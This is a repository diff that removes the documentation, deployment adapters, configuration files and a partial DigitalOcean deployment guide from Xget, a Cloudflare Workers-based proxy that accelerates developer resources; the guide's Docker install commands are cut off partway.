"bracketSameLine": false,
"bracketSpacing": true,
"embeddedLanguageFormatting": "auto",
"endOfLine": "lf",
"insertPragma": false,
"jsxSingleQuote": true,
"overrides": [
{
"files": "*.md",
"options": {
"printWidth": 80,
"proseWrap": "always"
}
},
{
"files": "*.json",
"options": {
"printWidth": 120
}
},
{
"files": "*.yml",
"options": {
"singleQuote": false,
"tabWidth": 2
}
}
],
"printWidth": 100,
"proseWrap": "preserve",
"quoteProps": "as-needed",
"requirePragma": false,
"semi": true,
"singleQuote": true,
"tabWidth": 2,
"trailingComma": "none",
"useTabs": false
}
-1
View File
@@ -1 +0,0 @@
CLAUDE.md
-376
View File
@@ -1,376 +0,0 @@
# CLAUDE.md
This file provides guidance to Claude Code (claude.ai/code) when working with
code in this repository.
## Project Overview
Xget is a high-performance, Cloudflare Workers-based acceleration engine for
developer resources. It provides unified acceleration for code repositories
(GitHub, GitLab, etc.), package registries (npm, PyPI, Maven, etc.), container
registries (Docker Hub, GHCR, etc.), and AI inference APIs (OpenAI, Anthropic,
etc.).
The project operates as a reverse proxy that transforms incoming requests to
match various platform APIs while adding security headers, caching, retry logic,
and performance monitoring.
## Development Commands
### Core Commands
```bash
# Start development server (Cloudflare Workers local environment)
npm run dev # Runs on http://localhost:8787
# Deploy to Cloudflare Workers production
npm run deploy
# Build and run tests
npm run test # Run tests in watch mode
npm run test:run # Run tests once
npm run test:coverage # Generate coverage report
npm run test:ui # Open Vitest UI
# Code quality
npm run lint # Check code quality
npm run lint:fix # Fix linting issues
npm run format # Format code with Prettier
npm run format:check # Check formatting without changes
npm run type-check # TypeScript type checking (no emit)
npm run commitlint # Validate the latest commit message
```
## Commit Messages
- Use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) for
every commit
- Preferred format: `type(scope): description`
- Common types: `feat`, `fix`, `docs`, `refactor`, `perf`, `test`, `chore`
- The repository installs a `commit-msg` hook via `npm install`; do not bypass
it unless explicitly required
## Pre-Commit Requirements
- Before every commit, run the local CI-equivalent checks from
`.github/workflows/ci.yml`
- Required commands: `npm run lint`, `npm run format:check`, `npm run test:run`,
and `npm run type-check`
- If any required check fails, do not commit until the failure is resolved
- Apply this rule to every commit, including documentation-only changes, unless
the user explicitly asks for a different workflow
### Testing Workflow
- Tests use Vitest with `@cloudflare/vitest-pool-workers` for Workers-specific
testing
- Run `npm run test:run` before committing to ensure all tests pass
- Coverage reports are generated in `coverage/` directory
## Architecture
### Request Flow
1. **Entry Point**: `src/index.js` - Exports default Worker with `fetch()`
handler
2. **Validation**: `src/utils/validation.js` - Validates HTTP methods, path
length, detects protocol types
3. **Platform Detection**: URL path is parsed to identify platform (e.g., `/gh/`
→ GitHub)
4. **Path Transformation**:
`src/routing/platform-transformers.js#transformPath()` converts request paths
to upstream URLs
5. **Protocol Handling**: Different handlers for Git, Docker, AI inference
requests
6. **Upstream Fetch**: Request forwarded with appropriate headers and retry
logic
7. **Response Processing**: URL rewriting for certain platforms (npm, PyPI),
cache storage
8. **Security Headers**: Added via `src/utils/security.js` before returning to
client
### Key Components
#### Configuration (`src/config/`)
- **`index.js`**: Runtime configuration with environment variable overrides
- `TIMEOUT_SECONDS`: Request timeout (default: 30s)
- `MAX_RETRIES`: Retry attempts (default: 3)
- `CACHE_DURATION`: Fallback mutable cache TTL (default: 300s = 5 minutes)
- `SECURITY.ALLOWED_METHODS`: HTTP methods (default: GET, HEAD)
- **`platform-catalog.js`**: Platform base URL definitions
- `PLATFORM_CATALOG`: Object mapping platform keys to base URLs
- **`routing/platform-index.js`**: Pre-sorted keys for efficient matching
- `SORTED_PLATFORMS`: Longest-prefix-first platform matching order
- **`routing/platform-transformers.js`**: Platform-specific path rewriting
- `transformPath()`: Converts request paths to platform-specific URLs
- Special handling for crates.io (adds `/api/v1/crates` prefix) and Jenkins
(adds `/current/` prefix)
#### Protocol Handlers (`src/protocols/`)
- **`git.js`**: Git protocol detection and header configuration
- Detects Git operations via User-Agent, endpoints (`/info/refs`,
`/git-upload-pack`)
- Handles Git LFS via `Accept: application/vnd.git-lfs+json`
- **`docker.js`**: Container registry protocol (OCI/Docker)
- Parses WWW-Authenticate headers for token authentication
- Handles Docker registry v2 API authentication flow
- Special redirect handling to prevent leaking auth tokens to blob storage
- **`ai.js`**: AI inference API detection and header forwarding
- Detects requests to `/ip/*` platforms
- Preserves all headers for AI API compatibility
#### Utilities (`src/utils/`)
- **`validation.js`**: Request validation logic
- `isDockerRequest()`: Detects Docker/OCI operations
- `validateRequest()`: Enforces security policies
- **`security.js`**: Security headers and error responses
- Adds HSTS, X-Frame-Options, CSP, X-XSS-Protection
- `createErrorResponse()`: Generates standardized error responses
- **`performance.js`**: Performance monitoring
- `PerformanceMonitor`: Tracks request timing
- Adds `X-Performance-Metrics` header to responses
### Caching Strategy
- Uses Cloudflare Cache API for GET requests (200 OK only)
- Fallback mutable cache TTL controlled by `CACHE_DURATION` config
- Skips cache for: Git operations, Docker operations, AI inference requests
- Range requests: First checks for range-specific cache, falls back to full
content cache
### Special Platform Handling
#### npm
- Rewrites `https://registry.npmjs.org/` URLs in JSON responses to point to Xget
instance
#### PyPI
- Rewrites `https://files.pythonhosted.org` URLs in HTML responses to point to
Xget instance
- Uses separate `pypi-files` platform for file downloads
#### crates.io
- Adds `/api/v1/crates` prefix to all API requests
- Handles search endpoint (`/?q=`) specially
#### Jenkins
- Adds `/current/` prefix to update center paths
- Preserves `/experimental/` and `/download/` paths as-is
#### Docker Registries
- Handles authentication via token service
- Uses manual redirect mode to strip Authorization headers before S3 redirects
- Auto-retries with public token on 401 responses
## Code Structure Conventions
### File Organization
```
src/
├── index.js # Main Worker entry point
├── app/
│ ├── handle-request.js # Shared request pipeline
│ └── request-context.js # Protocol-aware request classification
├── config/
│ ├── index.js # Runtime configuration
│ ├── platform-catalog.js # Platform base URLs
│ └── platforms.js # Compatibility exports
├── protocols/
│ ├── git.js # Git protocol handler
│ ├── docker.js # Docker/OCI handler
│ └── ai.js # AI inference handler
├── response/
│ └── finalize-response.js # Response shaping and cache writes
├── routing/
│ ├── platform-index.js # Platform matching order
│ ├── platform-transformers.js
│ └── resolve-target.js # Upstream target resolution
├── upstream/
│ ├── cache.js # Cache read helpers
│ └── fetch-upstream.js # Upstream transport and retries
└── utils/
├── validation.js # Request validation
├── security.js # Security utilities
└── performance.js # Performance monitoring
test/
├── features/ # Feature tests
├── platforms/ # Platform-specific tests
├── unit/ # Unit tests
├── index.test.js # Core Worker tests
└── integration.test.js # Integration tests
```
### Important Patterns
#### Protocol Detection Order
1. Check if Docker request (via `isDockerRequest()`)
2. Check if Git request (via `isGitRequest()`)
3. Check if Git LFS request (via `isGitLFSRequest()`)
4. Check if AI request (via `isAIInferenceRequest()`)
5. Default to standard file download
#### Adding a New Platform
1. Add platform entry to `PLATFORM_CATALOG` in `src/config/platform-catalog.js`
2. If special path transformation needed, add a transformer in
`src/routing/platform-transformers.js`
3. Add platform tests in `test/platforms/`
4. Update README.md with platform documentation
#### Retry Logic
- Retries up to `MAX_RETRIES` times with linear backoff
- Delay: `RETRY_DELAY_MS * attempts` (default: 1000ms, 2000ms, 3000ms)
- Retries on: Network errors, timeouts, 5xx errors
- Does NOT retry: 4xx errors (except Docker 401 which has special handling)
#### Error Handling
- All errors caught at top level in `handleRequest()`
- Errors converted to JSON responses via `createErrorResponse()`
- Performance metrics still added even on error paths
## Testing Guidelines
### Test Structure
- **Unit tests** (`test/unit/`): Test individual functions in isolation
- **Feature tests** (`test/features/`): Test specific features (auth, caching,
Git, performance)
- **Platform tests** (`test/platforms/`): Test platform-specific transformations
- **Integration tests** (`test/integration.test.js`): End-to-end request flows
### Running Specific Tests
```bash
# Run specific test file
npm run test:run test/unit/platforms.test.js
# Run tests matching pattern
npm run test:run -- --testNamePattern "Docker"
# Run with coverage
npm run test:coverage
```
### Common Test Patterns
```javascript
// Mock request creation
const request = new Request('http://localhost/gh/microsoft/vscode', {
method: 'GET',
headers: { 'User-Agent': 'git/2.34.1' }
});
// Mock environment
const env = {};
const ctx = { waitUntil: () => {} };
// Test the worker
const response = await worker.fetch(request, env, ctx);
expect(response.status).toBe(200);
```
## Deployment
### Cloudflare Workers
- Primary deployment target
- Uses GitHub Actions for CI/CD (`.github/workflows/workers.yml`)
- Requires `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` secrets
### Cloudflare Pages
- Alternative deployment via adapter in `adapters/pages/`
- Auto-synced from `main` branch to `pages` branch
- Uses separate workflow (`.github/workflows/pages-cf.yml`)
### Other Platforms
- **Vercel/Netlify**: Uses Functions adapter in `adapters/functions/`
- **Deno Deploy**: Uses Functions adapter (compatible format)
- **Docker**: Multi-stage build using `workerd` runtime
### Environment Variables
Configure in Cloudflare Workers dashboard or via `wrangler.toml`:
- `TIMEOUT_SECONDS`: Override default timeout
- `MAX_RETRIES`: Override retry count
- `CACHE_DURATION`: Override fallback mutable cache TTL
- `ALLOWED_METHODS`: Override allowed HTTP methods (comma-separated)
- `ALLOWED_ORIGINS`: Override CORS origins (comma-separated)
## Important Notes
### Security Considerations
- Never log or expose Authorization headers
- Docker authentication tokens are stripped before S3 redirects
- All responses include security headers (HSTS, CSP, X-Frame-Options, etc.)
- Path length limited to prevent URL-based attacks (default: 2048 chars)
### Performance Optimization
- Use `ctx.waitUntil()` for cache writes to avoid blocking response
- Range requests leverage cache when possible
- Cloudflare edge caching (`cf` fetch options) for non-protocol requests
- HTTP/3 enabled for supported clients
### Git/Docker/AI Requests
- Skip normal caching mechanisms
- Allow POST/PUT/PATCH methods
- Preserve all upstream headers
- No performance headers added (to maintain protocol compatibility)
### URL Rewriting
- Only enabled for npm and PyPI platforms
- Rewrites responses to point to Xget instance instead of upstream
- Required for package managers to download dependencies through Xget
## Common Tasks
### Adding a New Platform
1. Add to `PLATFORM_CATALOG` in `src/config/platform-catalog.js`
2. If special transformation needed, update
`src/routing/platform-transformers.js`
3. Add test in `test/platforms/`
4. Update README.md documentation
5. Test locally with `npm run dev`
### Debugging Requests
1. Use `npm run dev` to start local server
2. Add `console.log()` statements in `src/app/handle-request.js` or the relevant
extracted pipeline module
3. Check Wrangler dev server output
4. Inspect `X-Performance-Metrics` header in responses
### Fixing Test Failures
1. Run specific failing test: `npm run test:run test/path/to/test.js`
2. Check mock setup matches actual request pattern
3. Verify platform configuration in `src/config/platform-catalog.js` and
`src/routing/platform-transformers.js`
4. Run all tests before committing: `npm run test:run`
-80
View File
@@ -1,80 +0,0 @@
# Code of Conduct
## Our commitment
Xget aims to be a welcoming, respectful, and technically constructive open
source project. Contributors, maintainers, and community members are expected to
help create an environment where people can ask questions, share ideas, and
collaborate without harassment or hostility.
## Scope
This code of conduct applies to project spaces, including:
- GitHub issues, pull requests, reviews, and discussions
- Documentation, examples, and other repository content
- Community spaces or events that are explicitly presented as part of Xget
## Expected behavior
- Be respectful and professional, even in disagreement
- Focus feedback on code, design, documentation, and behavior, not on people
- Share context, evidence, and reproduction steps when raising concerns
- Welcome contributors with different backgrounds, skill levels, and use cases
- Accept constructive feedback and course-correction gracefully
## Unacceptable behavior
- Harassment, intimidation, threats, or personal attacks
- Discriminatory or demeaning language
- Deliberate disruption, trolling, or bad-faith engagement
- Publishing private information without explicit permission
- Sexualized language or imagery in project spaces
- Repeatedly ignoring project rules, review boundaries, or moderator direction
## Enforcement responsibilities
Project maintainers are responsible for clarifying and enforcing these
standards. They may take any action they consider appropriate to protect the
community, including editing or removing content, closing discussions, rejecting
contributions, temporarily restricting participation, or permanently banning a
participant from project spaces.
## Reporting concerns
If you experience or witness behavior that violates this code of conduct, report
it privately to the maintainer using the contact information published on the
maintainer contact page:
- <https://xi-xu.me/#contact>
Please include:
- A description of what happened
- Links, screenshots, or other relevant evidence
- When and where the incident occurred
- Any immediate safety or privacy concerns
If the report concerns the current primary maintainer, use another private
contact method listed on the same contact page, or GitHub's site-wide reporting
tools when the incident took place on GitHub.
## Enforcement process
- Reports will be reviewed as confidentially as practical
- Maintainers will investigate in good faith and evaluate context carefully
- Outcomes may include a warning, content removal, temporary restriction, or
permanent ban
- Retaliation against someone for making a good-faith report is itself a code of
conduct violation
## Project responsibility
Maintainers are expected to apply this policy fairly and consistently. Not every
disagreement is a code of conduct violation, but behavior that makes the project
unsafe, exclusionary, or hostile will be addressed.
## Attribution
This document is informed by the practices recommended by Open Source Guides and
other established open source community standards.
-132
View File
@@ -1,132 +0,0 @@
# Contributing to Xget
Thank you for helping improve Xget. Contributions of all sizes are welcome,
including bug reports, documentation improvements, test coverage, performance
investigations, new platform support, and code changes.
Before you contribute, please read these repository documents:
- [README](README.md) for project scope, supported platforms, and deployment
options
- [Code of Conduct](CODE_OF_CONDUCT.md) for community expectations
- [Security Policy](SECURITY.md) for responsible vulnerability reporting
- [Governance](GOVERNANCE.md) for maintainer roles and decision-making
## Ways to contribute
- Report bugs with a minimal reproduction and clear expected behavior
- Propose features that improve correctness, usability, observability, or
maintainability
- Improve documentation, examples, or deployment guidance
- Add or expand automated tests
- Validate behavior against real clients, registries, or upstream platforms
## Before opening an issue
- Search existing issues and pull requests first to avoid duplicates
- Keep one report focused on one problem or one proposal
- Include enough detail for someone else to reproduce the issue
- Do not use public issues for security vulnerabilities; follow
[`SECURITY.md`](SECURITY.md) instead
Useful details to include:
- The request URL or request shape that failed, with secrets removed
- The upstream platform involved, such as GitHub, npm, Docker Hub, or OpenAI
- Expected behavior and actual behavior
- Steps to reproduce the problem
- Logs, screenshots, or response headers when relevant
- Your runtime or deployment environment, if it affects the issue
## Development setup
Xget uses Node.js and Wrangler for local development.
1. Install Node.js 24 and npm.
2. Install dependencies with `npm ci`.
3. Start the local worker with `npm run dev`.
4. Run tests and checks before opening a pull request.
Common commands:
```bash
npm run dev
npm run lint
npm run format:check
npm run test:run
npm run test:coverage
npm run type-check
```
## Repository layout
- `src/` contains the Worker entry point, request pipeline, protocol handlers,
routing logic, upstream fetch helpers, and shared utilities
- `test/` contains unit, feature, platform, and integration tests
- `adapters/` contains deployment adapters for non-Workers targets
- `docs/` contains longer-form operational and deployment documentation
## Pull request workflow
1. Fork the repository and create a branch from `main`.
2. Keep the change focused. Avoid mixing unrelated fixes.
3. Add or update tests when behavior changes.
4. Update documentation when user-facing behavior, configuration, or supported
platforms change.
5. Run the local checks listed below before requesting review.
6. Open a pull request using the repository template and explain the user impact
clearly.
Required local checks:
```bash
npm run lint
npm run format:check
npm run test:run
npm run type-check
```
If your change affects routing, headers, cache behavior, retries, security
controls, or protocol compatibility, include test coverage for that behavior.
## Coding expectations
- Follow the existing project structure and naming conventions
- Prefer small, reviewable changes over large mixed refactors
- Preserve protocol compatibility for Git, Docker, AI, and package manager
traffic
- Avoid logging secrets, tokens, or private request data
- Document new platform prefixes and examples in [`README.md`](README.md) when
support is added
## Commit messages
This repository uses
[Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/).
Preferred format:
```text
type(scope): description
```
Examples:
- `feat(docker): normalize blob redirect handling`
- `fix(routing): preserve crates search queries`
- `docs(readme): clarify npm registry setup`
## Review and release expectations
- Maintainers review contributions on a best-effort basis
- Large design changes should start with an issue before implementation
- Merged changes may be edited, squashed, or followed up by maintainers to keep
the project consistent
- Acceptance of a contribution does not create an obligation for long-term
support, backports, or maintenance
## Community standards
By participating in this project, you agree to follow
[`CODE_OF_CONDUCT.md`](CODE_OF_CONDUCT.md). Please be respectful, assume good
intent, and help keep the project welcoming for users and contributors from a
wide range of backgrounds and experience levels.
-40
View File
@@ -1,40 +0,0 @@
# --- Stage 1: build the Worker with Wrangler -----------------------
FROM node:26-alpine AS builder
WORKDIR /app
# Install dependencies & wrangler
COPY package*.json wrangler.toml ./
RUN npm ci
# Copy source and build
COPY src ./src
RUN npx wrangler deploy --dry-run --outdir=dist
# --- Stage 2: minimal runtime with workerd -------------------------
FROM node:26-slim AS runtime
ARG TARGETARCH
# Install ca-certificates for SSL, then install workerd via npm
RUN apt-get update && \
apt-get install -y ca-certificates && \
rm -rf /var/lib/apt/lists/* && \
case "${TARGETARCH}" in \
amd64) WORKERD_PKG="@cloudflare/workerd-linux-64" ;; \
arm64) WORKERD_PKG="@cloudflare/workerd-linux-arm64" ;; \
*) echo "Unsupported TARGETARCH: ${TARGETARCH}" && exit 1 ;; \
esac && \
npm install -g "${WORKERD_PKG}" && \
ln -s "/usr/local/lib/node_modules/${WORKERD_PKG}/bin/workerd" /usr/local/bin/workerd && \
workerd --version
WORKDIR /worker
# Bring in the compiled Worker bundle and config
COPY --from=builder /app/dist ./dist
COPY config.capnp ./config.capnp
# Expose the port workerd listens on
EXPOSE 8080
CMD ["workerd", "serve", "config.capnp"]
-70
View File
@@ -1,70 +0,0 @@
# Governance
## Governance model
Xget currently follows a maintainer-led governance model. The project is still
small enough that a lightweight process works best, but decisions should remain
transparent and open to community input.
## Current maintainer
- [Xi Xu](https://xi-xu.com)
The primary maintainer is responsible for project direction, releases, final
review decisions, security response coordination, and enforcement of the
[Code of Conduct](CODE_OF_CONDUCT.md).
## Roles
### Users
Users rely on the project, report issues, request features, and help validate
behavior across environments.
### Contributors
Contributors improve the project through code, documentation, issue triage,
testing, design feedback, translations, operational guidance, or community
support.
### Maintainers
Maintainers are trusted contributors with additional responsibility for the
health of the project. Maintainers may review and merge changes, shape project
direction, manage releases, and coordinate responses to sensitive issues.
## Decision-making
- Day-to-day decisions are made through issues, pull requests, and maintainer
review
- Community input is encouraged for significant behavioral, API, governance, or
deployment changes
- Consensus is preferred when practical
- When consensus is unclear, the primary maintainer has final decision-making
authority
## Becoming a maintainer
Additional maintainers may be added as the project grows. The usual path is:
1. Make sustained, high-quality contributions over time
2. Demonstrate good judgment, respectful collaboration, and project context
3. Help with review, issue triage, documentation, or support beyond code alone
4. Receive an invitation from the current maintainer
There is no automatic threshold for maintainer access. Trust, consistency, and
care for the project matter more than contribution count alone.
## Project direction and releases
- The roadmap may evolve based on user needs, maintainer capacity, and platform
changes
- Maintainers may decline features that add long-term maintenance burden, reduce
security, or broaden the scope beyond the core mission of Xget
- Releases, backports, and support windows are managed on a best-effort basis
## Transparency
Important technical and product decisions should, whenever possible, be
documented in public issues, pull requests, or repository documentation so the
community can understand how the project is evolving.
-3111
View File
File diff suppressed because it is too large. Load diff
-2971
View File
File diff suppressed because it is too large. Load diff
-2971
View File
File diff suppressed because it is too large. Load diff
-64
View File
@@ -1,64 +0,0 @@
# Security Policy
Xget proxies requests across code hosting platforms, package registries,
container registries, and AI inference providers. If you believe you have found
a security vulnerability, please report it responsibly and avoid public
disclosure until maintainers have had a chance to investigate.
## Supported versions
Security fixes are developed against the latest code on `main`. Backports to
older revisions or downstream forks are not guaranteed.
| Version | Supported |
| ------------------------------ | ---------------- |
| `main` | Yes |
| Older commits, tags, and forks | Best effort only |
## How to report a vulnerability
Please do not open a public GitHub issue for suspected vulnerabilities.
Instead, use one of these private channels:
1. GitHub private vulnerability reporting for this repository, if it is enabled
2. The maintainer contact page at <https://xi-xu.me/#contact>
Please include as much of the following as you can:
- A clear description of the vulnerability
- The affected code path, route shape, platform prefix, or deployment flow
- Reproduction steps or a proof of concept
- Impact assessment, including confidentiality, integrity, or availability
concerns
- Any suggested remediation, if you have one
- Sanitized logs, headers, or payload samples with secrets removed
## What to expect
- Maintainers will acknowledge reports on a best-effort basis
- Reports will be reviewed privately and handled confidentially where possible
- Maintainers may ask follow-up questions to validate severity and scope
- If the report is confirmed, maintainers will work toward a fix and coordinate
a disclosure timeline
## Scope notes
The following are usually in scope:
- Vulnerabilities in Xget source code
- Security weaknesses in official deployment manifests or adapters
- Authentication, header forwarding, request validation, cache isolation, and
secret handling issues
The following are usually out of scope unless Xget directly introduces them:
- Availability-only complaints caused by third-party outages
- Misconfiguration in self-hosted deployments outside the repository defaults
- Issues in upstream services that Xget only proxies
## Handling sensitive information
Do not include private tokens, credentials, or other secrets in public issues,
pull requests, or discussion threads. If a proof of concept requires secrets,
share them only through a private reporting channel and rotate them afterward.
-115
View File
@@ -1,115 +0,0 @@
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import { handleRequest } from '../../../src/app/handle-request.js';
/**
* @typedef {{
* ALLOWED_METHODS?: string,
* ALLOWED_ORIGINS?: string,
* CACHE_DURATION?: string,
* MAX_PATH_LENGTH?: string,
* MAX_RETRIES?: string,
* RETRY_DELAY_MS?: string,
* TIMEOUT_SECONDS?: string
* }} RuntimeEnv
*/
/**
* @typedef {{
* env?: RuntimeEnv,
* geo?: unknown,
* ip?: string,
* waitUntil?: (promise: Promise<unknown>) => void
* }} FunctionAdapterContext
*/
/**
* Edge Function handler.
* @param {Request} request - Standard Web API Request object
* @param {FunctionAdapterContext} [context] - Platform-specific context (Netlify only)
* @returns {Promise<Response>} Standard Web API Response
* @example
* // Netlify invokes with context
* handler(request, { geo: {...}, ip: '1.2.3.4', env: {...}, waitUntil: fn })
* @example
* // Vercel invokes without context
* handler(request)
*/
export default async function handler(request, context) {
const runtimeContext = context || /** @type {FunctionAdapterContext} */ ({});
// Detect runtime environment
const isNetlify = runtimeContext.geo !== undefined || runtimeContext.ip !== undefined;
// Normalize environment variables
// Netlify provides context.env, Vercel Edge uses globalThis
/** @type {RuntimeEnv} */
let envSource;
if (isNetlify) {
envSource = runtimeContext.env || {};
} else if (typeof process !== 'undefined' && process.env) {
// Vercel or Node.js environment
envSource = process.env;
} else {
// Fallback for other environments
envSource = {};
}
const env = {
TIMEOUT_SECONDS: envSource.TIMEOUT_SECONDS,
MAX_RETRIES: envSource.MAX_RETRIES,
RETRY_DELAY_MS: envSource.RETRY_DELAY_MS,
CACHE_DURATION: envSource.CACHE_DURATION,
ALLOWED_METHODS: envSource.ALLOWED_METHODS,
ALLOWED_ORIGINS: envSource.ALLOWED_ORIGINS,
MAX_PATH_LENGTH: envSource.MAX_PATH_LENGTH
};
// Create normalized execution context
const waitUntil = isNetlify && runtimeContext.waitUntil ? runtimeContext.waitUntil : null;
const ctx = {
waitUntil: waitUntil
? /**
* Forwards background work in runtimes that support waitUntil.
* @param {Promise<unknown>} promise
*/
promise => waitUntil(promise)
: (
/** @type {Promise<unknown>} */
_promise
) => {
void _promise;
// No-op on Vercel: background tasks not supported
// Cache writes will run synchronously instead
console.warn('waitUntil is not supported in Vercel Edge Runtime');
},
passThroughOnException: () => {
// Not supported on either platform in this context
console.warn('passThroughOnException is not universally supported');
}
};
// Delegate to the main request handler
return handleRequest(request, env, ctx);
}
// Vercel Edge Runtime configuration (ignored by Netlify)
export const config = {
runtime: 'edge'
};
-71
View File
@@ -1,71 +0,0 @@
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
/* eslint-disable no-undef */
import { handleRequest } from '../../src/app/handle-request.js';
/**
* Deno Deploy handler.
*
* This is the entry point for Deno Deploy deployments. It uses the
* standard Deno.serve() API to handle incoming HTTP requests.
* @param {Request} request - Standard Web API Request object
* @returns {Promise<Response>} Standard Web API Response
* @example
* // Deno Deploy invokes automatically:
* // Deno.serve((request) => handler(request))
*/
async function handler(request) {
// Extract environment variables from Deno.env
const env = {
TIMEOUT_SECONDS: Deno.env.get('TIMEOUT_SECONDS'),
MAX_RETRIES: Deno.env.get('MAX_RETRIES'),
RETRY_DELAY_MS: Deno.env.get('RETRY_DELAY_MS'),
CACHE_DURATION: Deno.env.get('CACHE_DURATION'),
ALLOWED_METHODS: Deno.env.get('ALLOWED_METHODS'),
ALLOWED_ORIGINS: Deno.env.get('ALLOWED_ORIGINS'),
MAX_PATH_LENGTH: Deno.env.get('MAX_PATH_LENGTH')
};
// Create minimal ExecutionContext-like object
// Deno Deploy doesn't support waitUntil, so cache writes are synchronous
const ctx = {
waitUntil: (
/** @type {Promise<unknown>} */
promise
) => {
void promise;
// No-op on Deno: background tasks not supported
console.warn('waitUntil is not supported in Deno Deploy');
},
passThroughOnException: () => {
console.warn('passThroughOnException is not supported in Deno Deploy');
}
};
// Delegate to the main request handler
return handleRequest(request, env, ctx);
}
// Start the server only when executing inside Deno.
if (typeof Deno !== 'undefined' && typeof Deno.serve === 'function') {
Deno.serve(handler);
}
export { handler };
-6
View File
@@ -1,6 +0,0 @@
[[edge_functions]]
function = "edge-handler"
path = "/*"
[build]
publish = "."
@@ -1,22 +0,0 @@
/**
* Xget - High-performance acceleration engine for developer resources
* Copyright (C) Xi Xu
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*/
/**
* Netlify Edge Function entry point.
*
* This file serves as a redirect to the edge function handler
* located at /api/index.js. Both Netlify and Vercel can use the same
* handler code, with platform detection handling the differences.
*
* Netlify requires edge functions to be in netlify/edge-functions/,
* while Vercel uses /api/ directory. This approach maintains a single
* source of truth at /api/index.js.
*/
export { config, default } from '../../api/index.js';
-14
View File
@@ -1,14 +0,0 @@
{
"name": "xget",
"type": "module",
"private": false,
"scripts": {
"dev": "vercel dev",
"deploy": "vercel --prod",
"vercel-build": "echo 'No build step required'"
},
"dependencies": {},
"devDependencies": {
"@vercel/node": "^3.0.0"
}
}
-22
View File
@@ -1,22 +0,0 @@
{
"$schema": "https://openapi.vercel.sh/vercel.json",
"name": "xget",
"version": 2,
"rewrites": [
{
"source": "/(.*)",
"destination": "/api/index.js"
}
],
"headers": [
{
"source": "/(.*)",
"headers": [
{
"key": "X-Powered-By",
"value": "Xget/Vercel"
}
]
}
]
}
-5
View File
@@ -1,5 +0,0 @@
#:schema node_modules/wrangler/config-schema.json
name = "xget"
pages_build_output_dir = "."
compatibility_date = "2024-10-22"
compatibility_flags = ["nodejs_compat"]
-33
View File
@@ -1,33 +0,0 @@
codecov:
require_ci_to_pass: true
strict_yaml_branch: main
coverage:
precision: 2
round: down
range: 0..100
status:
project:
default:
target: auto
threshold: 0.5%
patch:
default:
target: 85%
threshold: 2%
ignore:
- "test/**"
- "coverage/**"
- "docs/**"
- "adapters/**"
- "scripts/**"
- ".github/**"
- "*.config.js"
- "*.config.mjs"
comment:
layout: "condensed_header, condensed_files, condensed_footer"
behavior: default
require_changes: false
hide_project_coverage: false
-3
View File
@@ -1,3 +0,0 @@
export default {
extends: ['@commitlint/config-conventional']
};
-20
View File
@@ -1,20 +0,0 @@
using Workerd = import "/workerd/workerd.capnp";
const config :Workerd.Config = (
services = [
(name = "main", worker = .worker),
],
sockets = [
(service = "main", name = "http", address = "*:8080", http = ()),
],
);
const worker :Workerd.Worker = (
modules = [
(name = "worker", esModule = embed "dist/index.js"),
],
# Match the compatibility_date in wrangler.toml
compatibilityDate = "2024-10-22",
# Enable Node.js compatibility to match wrangler.toml
compatibilityFlags = ["nodejs_compat"],
);
-4
View File
@@ -1,4 +0,0 @@
{
"url": "https://context7.com/xixu-me/xget",
"public_key": "pk_QCYc6a8nDxXWqj3AbTdUR"
}
-411
View File
@@ -1,411 +0,0 @@
# Deploying and Optimizing Xget on DigitalOcean
Xget itself is shipped as a container image, so it fits very naturally into
DigitalOcean’s ecosystem (Droplets, App Platform, Kubernetes, and Container
Registry).
This guide explains how to run Xget efficiently on DigitalOcean and how to
design a simple, robust acceleration layer for your team.
## 1. Which DigitalOcean product should I use for Xget?
Depending on your scale and operations model, you can pick one of these typical
setups:
| Scenario | Recommended option | Characteristics |
| ------------------------------------------- | ------------------------------ | ------------------------------------------------------------------- |
| Personal / small team, simple traffic | Droplet + Docker Compose | Lowest cost, closest to the official self-hosting examples |
| Small / mid-size team, prefer fully managed | App Platform (container mode) | Automatic HTTPS, deployments, and autoscaling |
| Large team / enterprise, complex traffic | DigitalOcean Kubernetes (DOKS) | Most flexible; supports fine-grained scaling and rollout strategies |
You can also use DigitalOcean Container Registry (DOCR) for your own Xget builds
or to host business images that Xget will accelerate.
## 2. Option 1: Droplet + Docker Compose (closest to "plain" self-hosting)
### 2.1 Prerequisites
1. **Create a Droplet**
- Recommended OS: Ubuntu 22.04 / 24.04 LTS.
- Size suggestions:
- Personal / small team: 1 vCPU / 1–2 GB RAM to start with.
- High concurrent downloads: prefer Premium Intel/AMD or CPU-Optimized
Droplets.
- Region: pick a region close to your main users or to upstream services
(e.g., GitHub, GHCR, DOCR).
2. **Configure DNS**
In DigitalOcean DNS, create a record, for example:
- `xget.example.com` → your Droplet’s public IP address.
3. **Install Docker & Docker Compose (example on Ubuntu)**
```bash
# Update system
sudo apt update && sudo apt upgrade -y
# Install dependencies
sudo apt install -y ca-certificates curl gnupg
# Docker’s official GPG key and repo
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo \
"deb [arch=$(dpkg --print-architecture) \
signed-by=/etc/apt/keyrings/docker.gpg] \
https://download.docker.com/linux/ubuntu \
